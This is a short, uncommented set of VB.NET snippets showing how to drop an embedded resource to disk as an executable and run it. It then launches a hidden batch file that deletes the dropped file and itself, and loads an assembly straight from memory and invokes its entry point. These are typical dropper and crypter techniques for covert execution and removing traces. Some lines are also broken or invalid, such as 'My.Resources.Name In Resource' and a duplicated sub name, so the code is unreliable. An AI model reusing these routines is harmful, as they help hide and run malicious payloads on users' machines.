Imports System . I O
Sub RunResource(ByVal Name As String, ByVal _Resource As Byte())
Dim _Path As String = Application.StartupPath + If(Name.EndsWith(".exe", StringComparison.OrdinalIgnoreCase), Name, Name + ".exe")
File.WriteAllBytes(_Path, _Resource)
If File.Exists(_Path) Then
Process.Start(_Path)
End If
End Sub
RunResource("TestMe", My.Resources.Name In Resource)
Sub RunResource(ByVal Name As String, ByVal _Resource As Byte())
Dim _Path As String = Path.GetTempPath() + If(Name.EndsWith(".exe", StringComparison.OrdinalIgnoreCase), Name, Name + ".exe")
File.WriteAllBytes(_Path, _Resource)
If File.Exists(_Path) Then
Process.Start(_Path)
End If
Dim pA As String = Path.GetTempPath() + Guid.NewGuid().ToString() + ".bat"
Using s As StreamWriter = File.CreateText(pA)
s.WriteLine(":Ret")
s.WriteLine("Ping Localhost -n 3 > nul") 'Delay loop for a few seconds
s.WriteLine("del " + Chr(34) + _Path + Chr(34))
s.WriteLine("if exist " + Chr(34) + _Path + Chr(34) + " goto Ret")
s.WriteLine("del " + Chr(34) + pA + Chr(34))
End Using
If File.Exists(pA) Then
Dim Pr As ProcessStartInfo = New ProcessStartInfo(pA)
Pr.WindowStyle = ProcessWindowStyle.Hidden
Process.Start(Pr)
End If
End Sub
Private Sub RunFromMemory(ByVal bytes As Byte())
Dim assembly As Assembly = assembly.Load(bytes)
Dim entryPoint As MethodInfo = [assembly].EntryPoint
Dim objectValue As Object = RuntimeHelpers.GetObjectValue([assembly].CreateInstance(entryPoint.Name))
entryPoint.Invoke(RuntimeHelpers.GetObjectValue(objectValue), New Object() {New String() {"1"}})
End Sub
Private Sub ButtonClick() Handles ButtonX.Click
Dim x As New Threading.Thread(AddressOf RunFromMemory)
x.Start(My.Resources.TheResourceHere)
End Sub